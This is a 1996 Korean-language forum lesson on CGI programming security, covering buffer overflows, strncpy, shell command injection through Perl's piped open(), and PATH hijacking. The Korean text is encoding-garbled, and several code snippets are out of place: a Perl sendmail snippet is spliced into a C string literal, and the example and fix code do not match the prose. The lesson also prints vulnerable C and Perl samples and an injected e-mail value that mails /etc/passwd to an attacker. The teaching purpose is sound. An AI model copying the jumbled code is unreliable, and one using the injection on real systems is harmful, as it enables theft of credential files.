³¯Â¥: 1996-06-02 | ±Û¾´ÀÌ: µµ¾Æ | 24333 ¹ø | ÇÁ¸°Æ® | ¸ÞÀϷκ¸³»±â

Á¦ 2°­ - CGI ÇÁ·Î±×·¡¹Ö½Ã ÁÖÀÇÁ¡


À¥ ¼­¹ö¿¡ ´ëÇÑ Á¤º¸

½Ã½ºÅÛ¿¡ °üÇÑ Á¤º¸°¡ »õ¾î³ª°¥ ¼öµµ ÀÖ´Ù. ¿¹¸¦ µé¾î, "finger" ½ºÅ©¸³Æ® °°Àº °æ¿ì »ç¿ëÀÚÀÇ È¨ µð·ºÅ丮¿¡ ´ëÇÑ ¹°¸®Àû °æ·Î¸¦ Ãâ·ÂÇØÁØ´Ù. "w" ¸í·É¾î °°Àº °æ¿ì ¼­¹ö¿¡¼­ ¾î¶² ÇÁ·Î±×·¥µéÀÌ µ¹°í ÀÖ°í ¾î¶² »ç¿ëÀÚµéÀÌ ÀÖ´ÂÁö¿¡ ´ëÇÑ ´Ù¾çÇÑ Á¤º¸¸¦ Á¦°øÇØ ÁÖ°í, "ps" ¸í·É¾î´Â "w"º¸´Ù ´õ ÀÚ¼¼ÇÑ Á¤º¸¸¦ Á¦°øÇØ ÁØ´Ù. »ç¿ëÀÚÀÇ ÀÔ·ÂÀÇ Å©±â Á¦ÇÑ

C¿Í °°Àº ¾ð¾î·Î CGI ÇÁ·Î±×·¡¹ÖÀ» ÇÏ´Â °æ¿ì Áö³ªÄ¡°Ô ±ä»ç¿ëÀÚÀÇ ÀÔ·ÂÀ¸·ÎÀÎÇÑ ¹öÆÛ ¿À¹öÇÃ·Î¿ì ¶§¹®¿¡ º¸¾È ÇêÁ¡Àº ¹ß»ýÇÑ´Ù. ´ÙÀ½°ú °°Àº ¿¹Á¦¸¦ º¸ÀÚ.

#include <stdlib.h>
#include <stdio.h>

static char query_string[1024];

char* read_POST() {

   int query_size;
   query_size=atoi(getenv("CONTENT_LENGTH"));
   fread(query_string,query_size,1,stdin);
   return query_string;
}

ÀÌ Äڵ忡¼­´Â »ç¿ëÀÚÀÇ ÀÔ·ÂÀÌ 1024¹ÙÀÌÆ®º¸´Ù´Â ÀÛÀ» °ÍÀ̶ó°í °¡Á¤ÇÏ°í ÀÖ´Ù. ÀÌ·± °æ¿ì ÇØÄ¿°¡ 1024¹ÙÀÌÆ®º¸´Ù ´õ ±ä ÀÔ·ÂÀ» Á༭ ÇÁ·Î±×·¥À» ¿Àµ¿ÀÛ ½Ãų ¼öµµ ÀÖ°Ô µÈ´Ù.

¹öÆÛ ¿À¹öÇ÷ο찡 »ý±â°Ô µÇ¸é ÇÁ·Î±×·¥ÀÌ ¿Àµ¿ÀÛÇÏ°ÔµÇ¸é ¶§·Î´Â ÇØÄ¿°¡ ¿ø°ÝÁö¿¡¼­ ¸í·É¾î¸¦ ¼öÇàÇÒ ¼öµµ ÀÖ°Ô µÇ´Â °æ¿ì°¡ ÀÖ´Ù. µû¶ó¼­ À§¿Í °°Àº ÇÁ·Î±×·¥Àº ´ÙÀ½°ú °°ÀÌ ¼öÁ¤ÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù.

char* read_POST() {
   int query_size=atoi(getenv("CONTENT_LENGTH"));
   char* query_string = (char*) malloc(query_size);
   if (query_string != NULL)
      fread(query_string,query_size,1,stdin);
   return query_string;
}

ÀÌ ÇÁ·Î±×·¥¿¡¼­´Â µ¿ÀûÀ¸·Î ¸Þ¸ð¸®¸¦ ÇÒ´çÇؼ­ »ç¿ëÀÚÀÇ ÀÔ·ÂÀ» ¹Þ¾ÆµéÀÌ°Ô µÇ¾î ÀÖ´Ù. ¶ÇÇÑ µ¿ÀûÀ¸·Î ÇÒ´çµÈ ¸Þ¸ð¸®¿¡ ´ëÇؼ­´Â ¸®ÅÏÄڵ带 °Ë»çÇØ¾ß ÇÑ´Ù.

µ¿ÀûÀ¸·Î ÇÒ´çÇÏ°í ½ÍÁö ¾Ê´Ù¸é strcpy()³ª strcat()À» »ç¿ëÇÏ´Â °ÍÀº ¹Ù¶÷Á÷ÇÏÁö ¸øÇÏ´Ù. ¿Ö³Ä¸é µÎ ÇÔ¼ö´Â ¸ðµÎ ÀÔ·Â ½ºÆ®¸µÀÌ ³¡³¯ ¶§±îÁö ¹«Á¶°Ç º¹»çÇϱ⠶§¹®ÀÌ´Ù. µû¶ó¼­ ÀÔ·Â ¹®ÀÚ¿­ÀÇ ÃÖ´ë ±æÀ̸¦ Á¤ÇØ ³õ°í ÃÖ´ë ±æÀ̱îÁö¸¸ º¹»çÇϵµ·Ï ÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù. ÀÌ°ÍÀ» À§Çؼ­ ´ÙÀ½°ú °°ÀÌ strncpy()³ª strncat()À» »ç¿ëÇÒ ¼ö ÀÖ´Ù.

#define MAXSTRINGLENGTH 256
char myString[MAXSTRINGLENGTH];
char* query = read_POST();
myString[MAXSTRINGLENGTH-1]='
$mail_to = &get_name_from_input; # read the address from form
open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
close MAIL;
'; /* ensure null byte */ strncpy(myString,query,MAXSTRINGLENGTH-1); /* don't overwrite null byte */
»ç¿ëÀÚÀÇ ÀÔ·Â °Ë»ç

C ÇÔ¼ö Áß¿¡¼­ popen(), system()´Â ¸í·ÉÀ» ó¸®Çϱâ À§ÇØ /bin/shÀ» È£ÃâÇÏ°Ô µÇ°í, ÆÞ¿¡¼­´Â system(), exec(), ÆÄÀÌÇÁ¸¦ »ç¿ëÇÏ´Â open()ÀÌ ½©À» È£ÃâÇÏ°í eval()ÀÌ ÆÞ ÇÁ·Î±×·¥À» È£ÃâÇÏ°Ô µÈ´Ù. µû¶ó¼­ ÀԷ¿¡ ½©ÀÇ ¸ÞŸ¹®ÀÚ°¡ µé¾î¿À°Å³ª ÆÞÀÇ ¸í·É¾î°¡ µé¾î¿À°Ô µÇ´Â °æ¿ì º¸¾È ÇêÁ¡ÀÌ »ý±æ °¡´É¼ºÀÌ ÀÖ´Ù. ¿¹¸¦ µé¾î ´ÙÀ½°ú °°Àº ÆÞ ÇÁ·Î±×·¥À» º¸ÀÚ.

[email protected];mail [email protected]</etc/passwd;

ÀÌ ÇÁ·Î±×·¥¿¡¼­´Â ÆÄÀÌÇÁ¸¦ »ç¿ëÇÏ´Â open() ¸í·ÉÀÌ´Ù. ÀÌ ÇÁ·Î±×·¥ÀÇ ÀÛ¼ºÀÚ´Â $mail_to¶ó´Â º¯¼ö¿¡ Á¤»óÀûÀÎ e-mail ÁÖ¼Ò°¡ µé¾î¿Ã °ÍÀ̶ó°í »ý°¢ÇÏ°ÚÁö¸¸ ÇØÄ¿°¡ ´ÙÀ½°ú °°Àº e-mail ÁÖ¼Ò¸¦ º¸³»°Ô µÈ´Ù¸é ¾î¶»°Ô µÉ±î?

/usr/lib/sendmail [email protected]; mail [email protected]</etc/passwd

open() ¸í·ÉÀº ´ÙÀ½°ú °°Àº ¸í·É¾î·Î ¼öÇàµÇ°Ô µÈ´Ù.

system("ls -l /local/web/foo");

Áï, /usr/lib/sendmail°ú mailÇÁ·Î±×·¥ÀÌ µÑ´Ù ¼öÇàµÇ´Â °ÍÀÌ´Ù. ÀÌ·¸°Ô µÉ °æ¿ì ÇØÄ¿¿¡°Ô Æнº¿öµå ÆÄÀÏÀÌ ¸ÞÀÏ·Î º¸³»Áö°Ô µÈ´Ù. Æнº¿öµå¸¦ Å©·¢ÇÏ°Ô µÇ¸é ÇØÄ¿´Â ¾ðÁ¦µçÁö ½Ã½ºÅÛ¿¡ ħÀÔÇÒ ¼ö ÀÖ°Ô µÈ´Ù. Àý´ë°æ·Î »ç¿ë

PATH ȯ°æº¯¼ö¸¦ º¯°æ½ÃÄѼ­ ÇÁ·Î±×·¥ ÀÛ¼ºÀÚ°¡ ¿øÇÏÁö ¾Ê´Â ÇÁ·Î±×·¥ÀÌ ¼öÇàµÇµµ·Ï ÇÏ´Â °ÍÀº Àß ¾Ë·ÁÁø ÇØÅ· ±â¹ýÀÌ´Ù. ¿ÜºÎ ÇÁ·Î±×·¥À» È£ÃâÇÒ ¶§´Â Àý´ë °æ·Î¸íÀ» ÁöÁ¤ÇØ ÁÖ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù. C¾ð¾î·Î ´ÙÀ½°ú °°Àº Äڵ带 ÀÛ¼ºÇß´Ù¸é

system("/bin/ls -l /local/web/foo");

ÀÌ°Í ´ë½Å ´ÙÀ½°ú °°Àº Çü½ÄÀ» »ç¿ëÇØ¾ß ÇÑ´Ù.

putenv("PATH=/bin:/usr/bin:/usr/local/bin");

PATH ȯ°æ º¯¼ö°¡ ±»ÀÌ ÇÊ¿äÇÏ´Ù¸é ÇÁ·Î±×·¥À» ½ÃÀÛÇÏ´Â ºÎºÐ¿¡¼­ ´ÙÀ½°ú °°ÀÌ È¯°æº¯¼ö¸¦ ¿øÇÏ´Â °ªÀ¸·Î ¼³Á¤ÇØ¾ß ÇÑ´Ù.

[code=xml]putenv("PATH=/bin:/usr/bin:/usr/local/bin");[/code]

±×¸®°í ÇöÀç µð·ºÅ丮¸¦ PATH¿¡ Ãß°¡½ÃÅ°´Â °ÍÀº ¹Ù¶÷Á÷ÇÏÁö ¾Ê´Ù.



´ÙÀ½±Û: Á¦ 3°­ - ¿ÜºÎÇÔ¼ö È£Ãâ½Ã ÁÖÀÇÁ¡ (8410)1996-06-03
ÀÌÀü±Û: Á¦ 1°­ - CGIÀÇ º¸¾È (11505)1996-06-01

¼¼»ó»ç´Â À̾߱â



RSS ±¸µ¶ (À͸í | ȸ¿ø | °­Á | Æ÷·³)
(C) 1996 ~ 2017 QAOS.com All rights reserved.